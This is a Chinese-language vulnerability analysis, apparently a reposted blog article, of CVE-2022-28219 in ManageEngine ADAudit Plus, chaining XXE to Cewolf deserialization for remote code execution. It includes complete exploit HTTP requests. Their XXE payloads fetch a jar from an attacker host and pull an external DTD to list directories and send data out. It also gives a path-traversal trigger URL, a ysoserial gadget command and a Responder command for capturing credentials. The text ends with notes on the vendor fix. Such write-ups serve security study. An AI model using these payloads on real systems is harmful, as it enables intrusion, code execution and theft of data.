CVE-2022-28219 ZOHO ManageEngine ADAudit Plus XXE到RCE

admin 2023年1月23日13:55:58评论32 views字数 3755阅读12分31秒阅读模式

免责声明

    本公众号仅用于技术交流与学习,利用本公众号所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,本公众号只是知识的搬运工,取之于民用之于民。

环境搭建

https://archives2.manageengine.com/active-directory-audit/7055/ManageEngine_ADAudit_Plus_x64.exe

需要搭建一个域环境,直接把安装adaudit的机器提升为域控就行。

分析

这个洞用了两个点串起来成了一个rce,分别是xxe和一个readObject的点。

Cewolf readObject

readObject是steventseeley挖掘的Cewolf反序列化,ADAudit仍然有这个servlet,并且init参数为FileStorage。

CVE-2022-28219 ZOHO ManageEngine ADAudit Plus XXE到RCE

de.laures.cewolf.storage.FileStorage#getChartImage 这个地方存在readObject:

CVE-2022-28219 ZOHO ManageEngine ADAudit Plus XXE到RCE

详细的不讲了,看steventseeley在 https://srcincite.io/advisories/src-2020-0011/ 中提到的poc就懂了。
这个利用点需要在目标机器上上传一个序列化的payload,然后通过../跨目录触发。在下面的xxe中会串起来利用。

xxe

xxe来自比较常规的DocumentBuilderFactory类在com.adventnet.sym.adsm.auditing.server.category.ProcessTrackingListener#parseTaskContent中:

CVE-2022-28219 ZOHO ManageEngine ADAudit Plus XXE到RCE

来自于eventTbl参数的Task Content或者Task New Content键值会造成xxe。然后找路由触发点。先来看web.xml:

CVE-2022-28219 ZOHO ManageEngine ADAudit Plus XXE到RCE

/api/agent对应com.adventnet.sym.adsm.auditing.webclient.ember.api.ADAPAgentAPIServlet#processRequest

CVE-2022-28219 ZOHO ManageEngine ADAudit Plus XXE到RCE

跟入com.adventnet.sym.adsm.auditing.webclient.ember.api.RestAPIHandler#executeAgentRequest

CVE-2022-28219 ZOHO ManageEngine ADAudit Plus XXE到RCE

通过正则匹配拿到对应的handler为com.adventnet.sym.adsm.auditing.webclient.ember.api.agent.AgentDataHandler#receiveData

CVE-2022-28219 ZOHO ManageEngine ADAudit Plus XXE到RCE

在receiveData中通过读body取json,body取不到就从header中拿json,然后转成一个json数组jsonEventArray。接着如果是有效的json

CVE-2022-28219 ZOHO ManageEngine ADAudit Plus XXE到RCE

交由com.adventnet.sym.adsm.auditing.server.EventDataAdapter#notify消息队列处理。

CVE-2022-28219 ZOHO ManageEngine ADAudit Plus XXE到RCE

notify只负责向eventQueue中加事件,真正处理队列消息的地方在其子类com.adventnet.sym.adsm.auditing.server.EventDataAdapter.EventDispatcher#run中:

CVE-2022-28219 ZOHO ManageEngine ADAudit Plus XXE到RCE

在这里需要关注一点,如果原始data中DomainName等于null,那么DomainDnsName也会等于null。

CVE-2022-28219 ZOHO ManageEngine ADAudit Plus XXE到RCE

这个地方是个大坑,如果没有给对正确的域环境的域名,那么在下一步就不会触发漏洞,接着看。通过重组modData,最终交由com.adventnet.sym.adsm.auditing.server.ProcessMonitor#process处理。

CVE-2022-28219 ZOHO ManageEngine ADAudit Plus XXE到RCE

process函数会获取domainName对应的键值来迭代,最终调用addEventRows,如果你的传参DomainName为空,那么这个地方进入不了迭代循环,就触发不了漏洞。跟进addEventRows:

CVE-2022-28219 ZOHO ManageEngine ADAudit Plus XXE到RCE

addEventRows会根据传入的CategoryId参数来获取不同的Listener,然后分发进入getEventRowList函数。其中listener有很多,id为11的时候刚好是ProcessTrackingListener:

CVE-2022-28219 ZOHO ManageEngine ADAudit Plus XXE到RCE

接着走进com.adventnet.sym.adsm.auditing.server.category.ProcessTrackingListener#getEventRow

CVE-2022-28219 ZOHO ManageEngine ADAudit Plus XXE到RCE

parseTaskContent到xxe的点:

CVE-2022-28219 ZOHO ManageEngine ADAudit Plus XXE到RCE

串联

有了xxe之后,需要了解一个jdk的老版本xxe trick。这是2013年的议题:

https://2013.appsecusa.org/2013/wp-content/uploads/2013/12/WhatYouDidntKnowAboutXXEAttacks.pdf

在这个议题中提到,通过xxe我们可以上传文件和列举目录,jdk8u131之后的修复commit在这里可以使用这个ftp服务器来使文件驻留到目标服务器中监听。

https://github.com/pwntester/BlockingServer/blob/master/BlockingServer.java

CVE-2022-28219 ZOHO ManageEngine ADAudit Plus XXE到RCE

发请求包:
POST /api/agent/tabs/agentData HTTP/1.1
Host: 172.16.16.132:8081
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Length: 316
Content-Type: application/json

[
{
"DomainName": "test.local",
"EventCode": 4688,
"EventType": 0,
"TimeGenerated": 0,
"Task Content": "<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY ssrf SYSTEM "jar:http://172.16.16.1:2122/upload.jar!/file.txt"> ]><foo>&ssrf;</foo>"
}
]
此时文件被驻留在用户的临时目录下,我的用户是administrator,所以在C:/Users/Administrator/AppData/Local/Temp/目录下接着用这个项目来列目录,监听之后发请求包:
POST /api/agent/tabs/agentData HTTP/1.1
Host: 172.16.16.132:8081
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Length: 393
Content-Type: application/json

[
{
"DomainName": "test.local",
"EventCode": 4688,
"EventType": 0,
"TimeGenerated": 0,
"Task Content": "<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE data [ <!ENTITY % file SYSTEM "file:///C:/Users/Administrator/AppData/Local/Temp/"> <!ENTITY % dtd SYSTEM "http://192.168.1.207:9090/data.dtd"> %dtd;]><data>&send;</data>"
}
]

CVE-2022-28219 ZOHO ManageEngine ADAudit Plus XXE到RCE

我们的url.txt就被传到了jar_cache9091707163659467742.tmp这个文件。接下来就是触发反序列化的:
http://172.16.16.132:8081/cewolf/a.png?img=/../../../../../../../../../Users/Administrator/AppData/Local/Temp/jar_cache9091707163659467742.tmp

gadget可以用cb192:

java -jar .ysoserial-0.0.6-SNAPSHOT-all.jar CommonsBeanutils192NOCC "CLASS:TomcatCmdEcho"
最后就是国际惯例:

CVE-2022-28219 ZOHO ManageEngine ADAudit Plus XXE到RCE

一些问题

  1. 如何获取DomainName

  2. c:/Users/Administrator/AppData/Local/Temp/jar_cache9091707163659467742.tmp 中administrator怎么判断?

第一个问题目前没啥解决办法,不过登录的时候可以获取到一部分的域名

CVE-2022-28219 ZOHO ManageEngine ADAudit Plus XXE到RCE

第二个问题可以用笨方法先列举C:Users所有用户,然后列举用户的temp目录,或者直接Responder抓到当前用户名:
sudo python3 Responder.py -I ens160

CVE-2022-28219 ZOHO ManageEngine ADAudit Plus XXE到RCE

修复

注释了CewolfServlet:

CVE-2022-28219 ZOHO ManageEngine ADAudit Plus XXE到RCE

修了xxe:

CVE-2022-28219 ZOHO ManageEngine ADAudit Plus XXE到RCE

加了guid校验:

CVE-2022-28219 ZOHO ManageEngine ADAudit Plus XXE到RCE

原文始发于微信公众号(Hack All):CVE-2022-28219 ZOHO ManageEngine ADAudit Plus XXE到RCE

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年1月23日13:55:58
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CVE-2022-28219 ZOHO ManageEngine ADAudit Plus XXE到RCEhttps://cn-sec.com/archives/1408047.html

发表评论

匿名网友 填写信息